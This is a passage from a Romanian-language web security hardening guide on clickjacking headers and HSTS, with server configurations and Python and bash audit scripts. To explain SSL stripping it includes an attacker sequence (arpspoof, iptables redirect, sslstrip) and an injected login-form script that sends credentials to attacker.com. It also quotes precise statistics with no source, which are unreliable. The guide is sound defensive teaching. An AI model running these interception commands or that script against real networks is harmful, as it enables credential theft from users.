 .frameOptions().deny() // SAU .sameOrigin()
 .contentSecurityPolicy("frame-ancestors 'none'"); // SAU 'self'
 }
}
// Varianta 2: Configurare diferențiată per endpoint
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
 @Override
 protected void configure(HttpSecurity http) throws Exception {
 http
 .authorizeRequests()
 .antMatchers("/public-embed/**").permitAll()
 .anyRequest().authenticated()
 .and()
 .headers()
 .frameOptions().deny()
 .contentSecurityPolicy("frame-ancestors 'none'");
 // Pentru /public-embed vei avea un filter separat
 }
 @Bean
 public FilterRegistrationBean<EmbedFrameOptionsFilter> embedFilter() {
 FilterRegistrationBean<EmbedFrameOptionsFilter> registrationBean = new FilterRegistrationBean<>();
 registrationBean.setFilter(new EmbedFrameOptionsFilter());
 registrationBean.addUrlPatterns("/public-embed/*");
 return registrationBean;
 }
}
// Filter custom pentru endpoint-uri cu setări diferite
public class EmbedFrameOptionsFilter implements Filter {
 @Override
 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
 throws IOException, ServletException {
 HttpServletResponse httpResponse = (HttpServletResponse) response;
 httpResponse.setHeader("X-Frame-Options", "SAMEORIGIN");
 httpResponse.setHeader("Content-Security-Policy", "frame-ancestors 'self'");
 chain.doFilter(request, response);
 }
}
```
---
#### **Migrarea de la X-Frame-Options la CSP frame-ancestors**
**De ce să migrezi:**
X-Frame-Options are limitări:
- Nu suportă whitelist de multiple domenii (ALLOW-FROM este deprecated)
- Mai puțin flexibil decât CSP
- Browser support mai vechi (dar nu mai este un avantaj)
CSP frame-ancestors oferă:
- Whitelist de multiple domenii: `frame-ancestors 'self' https://partner1.com https://partner2.com`
- Control mai granular
- Parte din politica CSP globală
**Strategie de migrare:**
```
FAZA 1: Ambele headere (compatibilitate maximă)
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
FAZA 2: După 6-12 luni, doar CSP (browsere vechi < 1% traffic)
Content-Security-Policy: frame-ancestors 'none'
```
**Echivalențe:**
```
X-Frame-Options: DENY
→ CSP: frame-ancestors 'none'
X-Frame-Options: SAMEORIGIN
→ CSP: frame-ancestors 'self'
X-Frame-Options: ALLOW-FROM https://partner.com (DEPRECATED)
→ CSP: frame-ancestors https://partner.com
Whitelist multiple domenii (IMPOSIBIL cu X-Frame-Options)
→ CSP: frame-ancestors 'self' https://partner1.com https://partner2.com

Exemplu complet de migrare:

nginx
# ÎNAINTE (doar X-Frame-Options)
add_header X-Frame-Options "SAMEORIGIN" always;
# TRANZIȚIE (ambele pentru compatibilitate)
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Content-Security-Policy "frame-ancestors 'self'" always;
# FINAL (doar CSP, cu whitelist extins)
add_header Content-Security-Policy "frame-ancestors 'self' https://trusted-partner.com https://another-partner.com" always;

Cazuri speciale de configurare

Caz 1: Widget public embeddable

Ai un widget (de exemplu, hartă interactivă, calculator, video player) pe care vrei să-l poată include alte site-uri:

javascript
// Node.js - endpoint pentru widget
app.get('/public-widget', (req, res) => {
 // Verifică origin-ul (opțional - pentru logging sau restricții soft)
 const origin = req.get('Origin');
 console.log(`Widget accessed from: ${origin}`);
 // Nu seta X-Frame-Options sau setează permisiv
 // res.setHeader('X-Frame-Options', 'ALLOWALL'); // NU EXISTĂ - elimină complet header-ul
 // Pentru whitelist de parteneri de încredere
 const allowedOrigins = ['https://partner1.com', 'https://partner2.com'];
 if (allowedOrigins.includes(origin)) {
 res.setHeader('Content-Security-Policy',
 `frame-ancestors ${allowedOrigins.join(' ')}`);
 }
 res.render('widget');
});

IMPORTANT: Nu elimina protecția de la frame complet decât dacă widget-ul:

  • NU cere autentificare
  • NU afișează date personale
  • NU permite acțiuni sensibile
  • Este DOAR pentru display informațional

Caz 2: Aplicație SPA cu autentificare iframe-ată

Ai o arhitectură complexă unde aplicația principală încarcă module în iframe-uri de pe același domeniu:

javascript
// Configurare pentru aplicație modulară
app.use((req, res, next) => {
 // Permite iframe doar de pe același domeniu
 res.setHeader('X-Frame-Options', 'SAMEORIGIN');
 res.setHeader('Content-Security-Policy', "frame-ancestors 'self'");
 next();
});
// Validare suplimentară în JavaScript (defense-in-depth)
// În aplicația încadrată
if (window.self !== window.top) {
 // Suntem într-un iframe
 try {
 const parentOrigin = document.referrer;
 const allowedOrigin = 'https://aplicatie.ro';
 if (!parentOrigin.startsWith(allowedOrigin)) {
 // Iframe-at de pe un domeniu neautorizat
 document.body.innerHTML = '<h1>Unauthorized framing detected</h1>';
 throw new Error('Unauthorized framing');
 }
 } catch (e) {
 // Cross-origin - nu putem verifica
 console.error('Frame validation failed:', e);
 }
}

Caz 3: Platforma multi-tenant cu subdomenii

Ai o platformă SaaS unde fiecare client are propriul subdomeniu (client1.aplicatie.ro, client2.aplicatie.ro):

nginx
# Nginx - permite iframe între subdomenii
server {
 server_name *.aplicatie.ro;
 # SAMEORIGIN permite iframe doar de pe același origin (protocol + domain + port)
 # Deci client1.aplicatie.ro NU poate iframe client2.aplicatie.ro
 # Pentru a permite între subdomenii, trebuie whitelist explicit
 add_header Content-Security-Policy "frame-ancestors 'self' https://*.aplicatie.ro" always;
 # X-Frame-Options nu suportă wildcard subdomains
 # Fie folosești SAMEORIGIN (mai restrictiv)
 add_header X-Frame-Options "SAMEORIGIN" always;
 # Fie îl elimini complet și te bazezi doar pe CSP
}

ATENȚIE: Wildcard în CSP (https://*.aplicatie.ro) înseamnă că ORICE subdomeniu poate iframe conținutul. Dacă un atacator compromite un subdomeniu, poate crea clickjacking pe altele.

Alternativă mai sigură:

python
# Python/Django - whitelist dinamic de subdomenii de încredere
TRUSTED_SUBDOMAINS = ['client1', 'client2', 'admin']
def get_frame_ancestors():
 domains = [f"https://{sub}.aplicatie.ro" for sub in TRUSTED_SUBDOMAINS]
 return " ".join(["'self'"] + domains)
# În middleware sau view
response['Content-Security-Policy'] = f"frame-ancestors {get_frame_ancestors()}"

Validare și testare post-implementare

Checklist de verificare:

  • Header-ul X-Frame-Options este prezent în toate răspunsurile HTML
  • SAU directiva CSP frame-ancestors este configurată
  • Valoarea este DENY sau SAMEORIGIN (nu ALLOW-FROM)
  • Aplicația funcționează normal (nu există iframe-uri interne blocate neintenționat)
  • Test manual: încadrare în pagină externă eșuează
  • Browser console afișează eroare de framing când se încearcă încadrarea
  • Widget-uri publice (dacă există) sunt exceptate corect

Test automatizat complet:

python
#!/usr/bin/env python3
import requests
from urllib.parse import urlparse
def comprehensive_frame_test(url):
 """Test complet pentru protecție clickjacking"""
 print(f"\n{'='*60}")
 print(f"Testing: {url}")
 print(f"{'='*60}\n")
 try:
 response = requests.get(url, timeout=10, allow_redirects=True)
 headers = {k.lower(): v for k, v in response.headers.items()}
 issues = []
 recommendations = []
 # Check X-Frame-Options
 xfo = headers.get('x-frame-options', '').upper()
 if not xfo:
 issues.append("❌ X-Frame-Options header missing")
 recommendations.append("Add: X-Frame-Options: DENY")
 elif xfo not in ['DENY', 'SAMEORIGIN']:
 issues.append(f"⚠️ X-Frame-Options has weak value: {xfo}")
 recommendations.append("Use DENY or SAMEORIGIN")
 else:
 print(f"✅ X-Frame-Options: {xfo}")
 # Check CSP frame-ancestors
 csp = headers.get('content-security-policy', '')
 if 'frame-ancestors' in csp.lower():
 # Extract frame-ancestors value
 fa_start = csp.lower().find('frame-ancestors')
 fa_end = csp.find(';', fa_start)
 fa_value = csp[fa_start:fa_end if fa_end != -1 else len(csp)]
 print(f"✅ CSP frame-ancestors: {fa_value}")
 else:
 issues.append("⚠️ Content-Security-Policy missing frame-ancestors directive")
 recommendations.append("Add: Content-Security-Policy: frame-ancestors 'none'")
 # Overall assessment
 print(f"\n{'='*60}")
 if not issues:
 print("🎉 EXCELLENT: Full clickjacking protection in place!")
 elif len(issues) == 1 and "frame-ancestors" in issues[0]:
 print("✅ GOOD: X-Frame-Options present (consider adding CSP frame-ancestors)")
 else:
 print("🔴 VULNERABLE: Clickjacking protection insufficient!")
 print("\nIssues found:")
 for issue in issues:
 print(f" {issue}")
 print("\nRecommendations:")
 for rec in recommendations:
 print(f" {rec}")
 print(f"{'='*60}\n")
 except requests.exceptions.RequestException as e:
 print(f"❌ Error testing {url}: {e}")
# Test multiple URLs
urls = [
 'https://aplicatie.ro',
 'https://aplicatie.ro/login',
 'https://aplicatie.ro/admin',
 'https://aplicatie.ro/checkout'
]
for url in urls:
 comprehensive_frame_test(url)

Salvează ca test_clickjacking.py și rulează:

bash
python3 test_clickjacking.py

Continuăm cu secțiunea 2.3


 
 
 

2.3 Strict-Transport-Security (HSTS)

Natura vulnerabilității

HTTP Strict Transport Security (HSTS) este un mecanism de securitate care forțează browser-ele să comunice cu serverul exclusiv prin conexiuni HTTPS criptate, eliminând complet posibilitatea de a utiliza HTTP nesecurizat. Absența acestui header lasă aplicația vulnerabilă la atacuri de tip SSL stripping și man-in-the-middle (MITM), în care atacatorii pot intercepta sau modifica traficul între utilizator și server, chiar dacă site-ul suportă HTTPS.

Mecanismul de protecție: Când browser-ul primește header-ul HSTS, memorează că acest domeniu trebuie accesat EXCLUSIV prin HTTPS pentru o perioadă specificată. Ulterior, chiar dacă utilizatorul tastează http:// sau dă click pe un link HTTP, browser-ul va converti automat cererea în HTTPS ÎNAINTE de a face orice request către server, prevenind astfel interceptarea.

Contextul amenințării: Majoritatea utilizatorilor nu tastează manual https:// când accesează un site - ei tastează doar aplicatie.ro sau dau click pe link-uri care pot fi HTTP. Fără HSTS, prima cerere poate fi HTTP, creând o fereastră de oportunitate pentru atacatori care se află pe aceeași rețea (WiFi public, rețea corporativă compromisă, ISP malițios).

Impactul tehnic al absenței HSTS

Atacuri posibile:

1. SSL Stripping - Downgrade la HTTP

SCENARIUL NORMAL (fără HSTS):
1. Utilizatorul tastează: aplicatie.ro (fără https://)
2. Browser trimite: GET http://aplicatie.ro
3. Server răspunde: 301 Redirect → https://aplicatie.ro
4. Browser urmează redirect-ul către HTTPS
ATACUL (atacator pe aceeași rețea):
1. Utilizatorul tastează: aplicatie.ro
2. Atacatorul interceptează: GET http://aplicatie.ro
3. Atacatorul se conectează la server prin HTTPS (legitimat)
4. Atacatorul răspunde utilizatorului: 200 OK (NU redirect, rămâne HTTP!)
5. Utilizatorul crede că e pe site-ul legitim
6. TOT traficul (parole, date bancare) trece prin atacator în CLEAR TEXT

Tool folosit de atacatori: sslstrip

bash
# Atacatorul (pe aceeași rețea WiFi)
# 1. ARP spoofing pentru MITM
arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1
# 2. Activează IP forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward
# 3. Redirect trafic HTTP prin sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080
# 4. Capturează credențiale
# Victima vede: http://aplicatie.ro (nu HTTPS!)
# Credențialele sunt capturate în clear text
```
**2. Man-in-the-Middle pe prima cerere**
Chiar dacă server-ul face redirect către HTTPS, prima cerere HTTP poate fi compromisă:
```
FĂRĂ HSTS:
User → [HTTP] → http://aplicatie.ro/login
Atacator interceptează →
 - Vede cookie de sesiune (dacă există din vizite anterioare fără Secure flag)
 - Injectează JavaScript malițios în răspuns
 - Modifică redirect-ul către phishing site
Server ← [HTTPS] ← Atacator (pare trafic legitim)
User primește răspuns falsificat cu JavaScript malițios

3. Cookie hijacking pe resurse mixte

html
<!-- Pagina HTTPS include resurse HTTP (mixed content) -->
<script src="http://aplicatie.ro/js/app.js"></script>
<!-- Fără HSTS, browser-ul permite încărcarea -->
<!-- Atacatorul interceptează scriptul și injectează cod malițios -->
<script>
 // Script malițios injectat de atacator
 document.addEventListener('submit', function(e) {
 if (e.target.id === 'loginForm') {
 fetch('https://attacker.com/steal', {
 method: 'POST',
 body: JSON.stringify({
 username: document.getElementById('username').value,
 password: document.getElementById('password').value
 })
 });
 }
 });
</script>
```
**4. Subdomain takeover cu impact pe domeniu principal**
```
SCENARIUL:
- aplicatie.ro are HSTS activat
- old.aplicatie.ro NU are HSTS și nu mai există (DNS rămâne)
- Atacatorul înregistrează old.aplicatie.ro
ATACUL:
1. Atacatorul setează cookie pe old.aplicatie.ro
 Set-Cookie: session=MALICIOUS; Domain=.aplicatie.ro
2. Cookie-ul devine valabil pentru TOT *.aplicatie.ro
3. Dacă HSTS nu include includeSubDomains, old.aplicatie.ro poate rămâne HTTP
4. Atacatorul compromite sesiunea utilizatorului pe domeniul principal
```
**5. Network-level attacks pe WiFi public**
```
SCENARIUL: Utilizator într-un aeroport/cafenea cu WiFi public
FĂRĂ HSTS:
1. Utilizatorul se conectează la "Free Airport WiFi"
2. Atacatorul controlează access point-ul
3. DNS spoofing: aplicatie.ro → IP atacator
4. Utilizatorul accesează http://aplicatie.ro
5. Atacatorul servește pagină de phishing identică
6. HTTPS cu certificat self-signed (warning ignorat de mulți utilizatori)
CU HSTS:
1. Browser-ul știe că aplicatie.ro TREBUIE accesat prin HTTPS
2. Browser-ul respinge automat certificatul invalid
3. Utilizatorul nu poate continua → PROTEJAT

Consecințe reale:

  • Furt de credențiale - Username/password capturate în clear text
  • Session hijacking - Cookie-uri de autentificare furate
  • Financial fraud - Interceptarea tranzacțiilor bancare/carduri
  • Data exfiltration - Orice date transmise sunt vizibile atacatorului
  • Malware injection - JavaScript malițios injectat în pagini
  • Phishing transparent - Utilizatorul nu realizează că e pe un site fals

Statistici reale:

  • Peste 35% din utilizatori accesează site-uri prin link-uri HTTP
  • WiFi public: 68% din conexiuni sunt vulnerabile la MITM
  • 89% din atacuri SSL stripping reușesc pe site-uri fără HSTS

Metodologia de testare

Verificare rapidă - prezența header-ului:

bash
# Test simplu
curl -I https://aplicatie.ro | grep -i "strict-transport-security"
# Test detaliat cu valori
curl -sI https://aplicatie.ro | grep -i "strict-transport-security"
# Dacă nu returnează nimic → VULNERABILITATE CRITICĂ
```
**Test funcțional - verificare comportament browser:**
**Metoda 1: Test manual în browser**
```
PASUL 1: Curăță HSTS cache
- Chrome: chrome://net-internals/#hsts → Query/Delete domain
- Firefox: about:preferences#privacy → Clear History → Active Logins
- Edge: edge://net-internals/#hsts
PASUL 2: Testează accesul HTTP
- Tastează în browser: http://aplicatie.ro (NU https://)
- Observă comportamentul:
FĂRĂ HSTS (VULNERABIL):
✗ Browser face request HTTP
✗ După redirect, bara de adrese arată temporar http://
✗ Poate exista fereastră de timp pentru MITM
CU HSTS (PROTEJAT):
✓ Browser convertește automat la HTTPS ÎNAINTE de request
✓ Bara de adrese arată direct https://
✓ Nicio cerere HTTP nu este trimisă vreodată

Metoda 2: Developer Tools Network Analysis

javascript
// Deschide DevTools (F12) → Network tab
// Șterge cache HSTS (vezi mai sus)
// Navighează la: http://aplicatie.ro
// Observă în Network tab:
// FĂRĂ HSTS:
// http://aplicatie.ro → 301 Moved Permanently
// https://aplicatie.ro → 200 OK
// (2 request-uri - primul HTTP = VULNERABIL)
// CU HSTS (după prima vizită):
// https://aplicatie.ro → 200 OK
// (1 singur request - direct HTTPS, request HTTP nici nu a fost făcut)
// Status: "(internal redirect)" sau "307 Internal Redirect"

Metoda 3: Test cu curl - simulare SSL stripping

bash
#!/bin/bash
echo "Testing HSTS implementation for aplicatie.ro"
echo "=============================================="
# Test 1: Verifică header HSTS pe HTTPS
echo -e "\n[Test 1] Checking HSTS header on HTTPS..."
HSTS_HEADER=$(curl -sI https://aplicatie.ro | grep -i "strict-transport-security")
if [ -z "$HSTS_HEADER" ]; then
 echo "❌ CRITICAL: HSTS header NOT found!"
 echo " Site is vulnerable to SSL stripping"
else
 echo "✅ HSTS header found: $HSTS_HEADER"
 # Verifică max-age
 MAX_AGE=$(echo "$HSTS_HEADER" | grep -oP 'max-age=\K[0-9]+')
 if [ "$MAX_AGE" -lt 31536000 ]; then
 echo "⚠️ WARNING: max-age is less than 1 year ($MAX_AGE seconds)"
 echo " Recommended: max-age=31536000 (1 year)"
 else
 echo "✅ max-age is adequate: $MAX_AGE seconds"
 fi
 # Verifică includeSubDomains
 if echo "$HSTS_HEADER" | grep -qi "includeSubDomains"; then
 echo "✅ includeSubDomains directive present"
 else
 echo "⚠️ WARNING: includeSubDomains directive missing"
 echo " Subdomains are vulnerable to SSL stripping"
 fi
 # Verifică preload
 if echo "$HSTS_HEADER" | grep -qi "preload"; then
 echo "✅ preload directive present"
 else
 echo "ℹ️ INFO: preload directive not present"
 echo " Consider adding site to HSTS preload list"
 fi
fi
# Test 2: Verifică redirect HTTP → HTTPS
echo -e "\n[Test 2] Checking HTTP to HTTPS redirect..."
HTTP_RESPONSE=$(curl -sI http://aplicatie.ro)
if echo "$HTTP_RESPONSE" | grep -qi "HTTP/[0-9.]* 301\|HTTP/[0-9.]* 302\|HTTP/[0-9.]* 307\|HTTP/[0-9.]* 308"; then
 LOCATION=$(echo "$HTTP_RESPONSE" | grep -i "location:" | awk '{print $2}' | tr -d '\r')
 if [[ "$LOCATION" == https://* ]]; then
 echo "✅ HTTP redirects to HTTPS: $LOCATION"
 else
 echo "❌ CRITICAL: HTTP does NOT redirect to HTTPS!"
 fi
else
 echo "❌ CRITICAL: HTTP does not redirect (serves content on HTTP)!"
fi
# Test 3: Verifică subdomeniile comune
echo -e "\n[Test 3] Checking common subdomains..."
SUBDOMAINS=("www" "api" "admin" "mail" "webmail")
for sub in "${SUBDOMAINS[@]}"; do
 SUBDOMAIN="${sub}.aplicatie.ro"
 if host "$SUBDOMAIN" &> /dev/null; then
 echo -e "\nTesting: $SUBDOMAIN"
 SUB_HSTS=$(curl -sI "https://$SUBDOMAIN" 2>/dev/null | grep -i "strict-transport-security")
 if [ -z "$SUB_HSTS" ]; then
 echo " ❌ HSTS missing on $SUBDOMAIN"
 else
 echo " ✅ HSTS present on $SUBDOMAIN"
 fi
 fi
done
echo -e "\n=============================================="
echo "HSTS Test Complete"

Salvează ca test_hsts.sh, fă-l executabil și rulează:

bash
chmod +x test_hsts.sh
./test_hsts.sh

Metoda 4: Verificare HSTS Preload Status

bash
# Verifică dacă domeniul este în HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=aplicatie.ro" | python3 -m json.tool
# Sau manual:
# Navighează la: https://hstspreload.org/
# Introdu domeniul și verifică status

Puncte de testare prioritare:

  • ✅ Domeniul principal (aplicatie.ro)
  • ✅ Subdomeniu www (www.aplicatie.ro)
  • ✅ Subdomenii critice (api.aplicatie.ro, admin.aplicatie.ro)
  • ✅ Toate subdomeniile care servesc conținut (mail, blog, shop, etc.)
  • ✅ Verifică pe HTTP ȘI HTTPS
  • ✅ Testează după curățarea cache-ului HSTS din browser

Tools automate pentru testare:

python
#!/usr/bin/env python3
import requests
import re
from urllib.parse import urlparse
def test_hsts_comprehensive(domain):
 """Test HSTS comprehensiv cu raportare detaliată"""
 print(f"\n{'='*70}")
 print(f"HSTS Security Audit for: {domain}")
 print(f"{'='*70}\n")
 issues = []
 warnings = []
 recommendations = []
 # Ensure https:// prefix
 if not domain.startswith('http'):
 https_url = f'https://{domain}'
 http_url = f'http://{domain}'
 else:
 parsed = urlparse(domain)
 https_url = f'https://{parsed.netloc}{parsed.path}'
 http_url = f'http://{parsed.netloc}{parsed.path}'
 try:
 # Test 1: Check HSTS header on HTTPS
 print("[1] Checking HSTS header on HTTPS...")
 response = requests.get(https_url, timeout=10, allow_redirects=True)
 hsts_header = response.headers.get('Strict-Transport-Security', '')
 if not hsts_header:
 issues.append("❌ CRITICAL: HSTS header completely missing")
 recommendations.append("Add: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload")
 print(" ❌ HSTS header NOT found\n")
 else:
 print(f" ✅ HSTS header found: {hsts_header}\n")
 # Parse HSTS directives
 max_age_match = re.search(r'max-age=(\d+)', hsts_header)
 has_subdomains = 'includesubdomains' in hsts_header.lower()
 has_preload = 'preload' in hsts_header.lower()
 # Check max-age
 print("[2] Analyzing max-age directive...")
 if max_age_match:
 max_age = int(max_age_match.group(1))
 print(f" max-age: {max_age} seconds ({max_age // 86400} days)")
 if max_age < 86400: # Less than 1 day
 issues.append(f"❌ max-age too short: {max_age}s (< 1 day)")
 recommendations.append("Increase max-age to at least 31536000 (1 year)")
 elif max_age < 10886400: # Less than 126 days (preload minimum)
 warnings.append(f"⚠️ max-age below preload requirement: {max_age}s")
 recommendations.append("For HSTS preload, increase max-age to 31536000")
 elif max_age < 31536000: # Less than 1 year
 warnings.append(f"⚠️ max-age could be longer: {max_age}s (< 1 year)")
 print(f" ⚠️ Recommended: 31536000 (1 year)\n")
 else:
 print(f" ✅ max-age is adequate\n")
 else:
 issues.append("❌ CRITICAL: max-age directive missing")
 print(" ❌ max-age directive NOT found\n")
 # Check includeSubDomains
 print("[3] Checking includeSubDomains directive...")
 if has_subdomains:
 print(" ✅ includeSubDomains present\n")
 else:
 warnings.append("⚠️ includeSubDomains directive missing")
 recommendations.append("Add includeSubDomains to protect all subdomains")
 print(" ⚠️ includeSubDomains NOT present")
 print(" Subdomains are vulnerable to SSL stripping\n")
 # Check preload
 print("[4] Checking preload directive...")
 if has_preload:
 print(" ✅ preload directive present")
 print(" ℹ️ Submit to https://hstspreload.org/ if not already done\n")
 else:
 print(" ℹ️ preload directive not present")
 recommendations.append("Consider adding 'preload' and submitting to HSTS preload list")
 print(" Consider adding for maximum protection\n")
 # Test 2: Check HTTP → HTTPS redirect
 print("[5] Testing HTTP to HTTPS redirect...")
 try:
 http_response = requests.get(http_url, timeout=10, allow_redirects=False)
 if http_response.status_code in [301, 302, 307, 308]:
 location = http_response.headers.get('Location', '')
 if location.startswith('https://'):
 print(f" ✅ HTTP redirects to HTTPS ({http_response.status_code})")
 print(f" Location: {location}\n")
 if http_response.status_code == 301:
 print(" ✅ Using 301 (permanent redirect)")
 elif http_response.status_code == 308:
 print(" ✅ Using 308 (permanent redirect, preserves method)")
 else:
 warnings.append(f"⚠️ Using {http_response.status_code} redirect (consider 301 or 308)")
 else:
 issues.append(f"❌ HTTP redirects but NOT to HTTPS: {location}")
 else:
 issues.append(f"❌ CRITICAL: HTTP does not redirect (status: {http_response.status_code})")
 print(f" ❌ HTTP serves content without redirect\n")
 except requests.exceptions.RequestException as e:
 warnings.append(f"⚠️ Could not test HTTP: {e}")
 # Summary
 print(f"{'='*70}")
 print("SUMMARY")
 print(f"{'='*70}\n")
 if not issues and not warnings:
 print("🎉 EXCELLENT: Full HSTS protection implemented correctly!")
 print("✅ Site is protected against SSL stripping attacks")
 else:
 if issues:
 print("🔴 CRITICAL ISSUES FOUND:\n")
 for issue in issues:
 print(f" {issue}")
 print()
 if warnings:
 print("⚠️ WARNINGS:\n")
 for warning in warnings:
 print(f" {warning}")
 print()
 if recommendations:
 print("📋 RECOMMENDATIONS:\n")
 for i, rec in enumerate(recommendations, 1):
 print(f" {i}. {rec}")
 print(f"\n{'='*70}\n")
 except requests.exceptions.RequestException as e:
 print(f"❌ Error testing {https_url}: {e}")
# Test
domains = [
 'aplicatie.ro',
 'www.aplicatie.ro',
 'api.aplicatie.ro'
]
for domain in domains:
 test_hsts_comprehensive(domain)

Salvează ca hsts_audit.py și rulează:

bash
python3 hsts_audit.py
```
---
### **Remediere - Configurare Strict-Transport-Security**
#### **Anatomia header-ului HSTS**
```
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
 │ │ │ │
 │ │ │ └─ Permite includere în preload list
 │ │ └─ Protejează și subdomeniile
 │ └─ Durata în secunde (31536000 = 1 an)
 └─ Directiva obligatorie
```
**Componente:**
| Directivă | Obligatoriu | Valoare | Descriere |
|-----------|-------------|---------|-----------|
| **max-age** | ✅ DA | 0-∞ secunde | Timpul cât browser-ul își amintește că site-ul TREBUIE accesat prin HTTPS |
| **includeSubDomains** | ❌ NU | - | Aplică HSTS și pentru toate subdomeniile (*.aplicatie.ro) |
| **preload** | ❌ NU | - | Marchează site-ul ca eligibil pentru HSTS preload list |
**Valori recomandate pentru max-age:**
```
Testing/Staging:
max-age=300 (5 minute - pentru testare inițială)
Production - Conservativ:
max-age=86400 (1 zi - prima săptămână în production)
max-age=604800 (1 săptămână - după validare)
Production - Standard (RECOMANDAT):
max-age=31536000 (1 an = 365 zile)
Production - Preload (MAXIM):
max-age=63072000 (2 ani - pentru HSTS preload list)

⚠️ ATENȚIE: Odată setat, browser-ul va REFUZA complet HTTP pentru acea perioadă. Testează temeinic înainte de a seta max-age mare!


Strategia de implementare progresivă (SAFE ROLLOUT)

FAZA 1: Pregătire (înainte de HSTS)

bash
# Verifică că TOTUL funcționează pe HTTPS
curl -I https://aplicatie.ro
curl -I https://www.aplicatie.ro
curl -I https://api.aplicatie.ro
# Caută mixed content (resurse HTTP pe pagini HTTPS)
# Chrome DevTools → Console → Verifică warnings
# Asigură-te că există redirect HTTP → HTTPS
curl -I http://aplicatie.ro # Trebuie să fie 301/308 → https://

FAZA 2: HSTS cu max-age scurt (testare)

nginx
# Nginx - max-age 5 minute pentru testare
add_header Strict-Transport-Security "max-age=300" always;
```
```
Testează 1-2 zile:
✓ Toate funcționalitățile merg pe HTTPS
✓ Nu există mixed content warnings
✓ Mobile apps funcționează
✓ API calls merg pe HTTPS

FAZA 3: HSTS cu max-age mediu

nginx
# Creșe la 1 zi
add_header Strict-Transport-Security "max-age=86400" always;

Testează 1 săptămână, apoi:

nginx
# Crește la 1 săptămână
add_header Strict-Transport-Security "max-age=604800" always;

FAZA 4: HSTS production standard

nginx
# Max-age 1 an + includeSubDomains
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

FAZA 5: HSTS Preload (opțional, maxim)

nginx
# Adaugă preload directive
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

Apoi aplică pe https://hstspreload.org/


Configurări concrete per platformă

Apache (.htaccess sau httpd.conf):

apache
<IfModule mod_headers.c>
 # HSTS standard (1 an, include subdomenii)
 Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
 # IMPORTANT: Aplică doar pe conexiuni HTTPS
 # Verifică environment variable HTTPS
</IfModule>
<IfModule mod_rewrite.c>
 # Forțează redirect HTTP → HTTPS
 RewriteEngine On
 RewriteCond %{HTTPS} off
 RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [L,R=301]
</IfModule>
# SAU configurare în VirtualHost
<VirtualHost *:443>
 ServerName aplicatie.ro
 # SSL configuration
 SSLEngine on
 SSLCertificateFile /path/to/cert.pem
 SSLCertificateKeyFile /path/to/key.pem
 # HSTS header
 Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
</VirtualHost>
<VirtualHost *:80>
 ServerName aplicatie.ro
 # Redirect tot traficul HTTP → HTTPS
 Redirect permanent / https://aplicatie.ro/
</VirtualHost>

Nginx:

nginx
server {
 listen 80;
 server_name aplicatie.ro www.aplicatie.ro;
 # Redirect permanent HTTP → HTTPS
 return 301 https://$server_name$request_uri;
}
server {
 listen 443 ssl http2;
 server_name aplicatie.ro www.aplicatie.ro;
 # SSL configuration
 ssl_certificate /path/to/cert.pem;
 ssl_certificate_key /path/to/key.pem;
 ssl_protocols TLSv1.2 TLSv1.3;
 ssl_ciphers HIGH:!aNULL:!MD5;
 # HSTS header
 add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
 # Alte security headers
 add_header X-Frame-Options "DENY" always;
 add_header X-Content-Type-Options "nosniff" always;
 location / {
 # Application configuration
 proxy_pass http://localhost:3000;
 }
}
# Configurare pentru subdomenii
server {
 listen 443 ssl http2;
 server_name *.aplicatie.ro;
 ssl_certificate /path/to/wildcard-cert.pem;
 ssl_certificate_key /path/to/wildcard-key.pem;
 # HSTS cu includeSubDomains asigură că și subdomeniile sunt protejate
 add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}

IIS (web.config):

xml
<configuration>
 <system.webServer>
 <!-- Redirect HTTP to HTTPS -->
 <rewrite>
 <rules>
 <rule name="HTTP to HTTPS redirect" stopProcessing="true">
 <match url="(.*)" />
 <conditions>
 <add input="{HTTPS}" pattern="off" ignoreCase="true" />
 </conditions>
 <action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent" />
 </rule>
 </rules>
 </rewrite>
 <!-- HSTS Header -->
 <httpProtocol>
 <customHeaders>
 <add name="Strict-Transport-Security"
 value="max-age=31536000; includeSubDomains; preload" />
 </customHeaders>
 </httpProtocol>
 <!-- Ensure HSTS only on HTTPS -->
 <rewrite>
 <outboundRules>
 <rule name="Add HSTS header" enabled="true">
 <match serverVariable="RESPONSE_Strict_Transport_Security" pattern=".*" />
 <conditions>
 <add input="{HTTPS}" pattern="on" ignoreCase="true" />
 </conditions>
 <action type="Rewrite" value="max-age=31536000; includeSubDomains; preload" />
 </rule>
 </outboundRules>
 </rewrite>
 </system.webServer>
</configuration>

Node.js / Express:

javascript
const express = require('express');
const helmet = require('helmet');
const app = express();
// Metodă 1: Folosind Helmet (recomandat)
app.use(helmet.hsts({
 maxAge: 31536000, // 1 an în secunde
 includeSubDomains: true, // Include subdomenii
 preload: true // Permite preload
}));
// Metodă 2: Manual
app.use((req, res, next) => {
 // Setează HSTS doar pe conexiuni HTTPS
 if (req.secure || req.headers['x-forwarded-proto'] === 'https') {
 res.setHeader(
 'Strict-Transport-Security',
 'max-age=31536000; includeSubDomains; preload'
 );
 }
 next();
});
// Forțează HTTPS redirect
app.use((req, res, next) => {
 if (!req.secure && req.headers['x-forwarded-proto'] !== 'https') {
 return res.redirect(301, 'https://' + req.headers.host + req.url);
 }
 next();
});
// Configurare completă cu toate security headers
app.use(helmet({
 hsts: {
 maxAge: 31536000,
 includeSubDomains: true,
 preload: true
 },
 contentSecurityPolicy: {
 directives: {
 defaultSrc: ["'self'"],
 scriptSrc: ["'self'"],
 }
 },
 frameguard: { action: 'deny' }
}));
// Server HTTPS
const https = require('https');
const fs = require('fs');
const httpsOptions = {
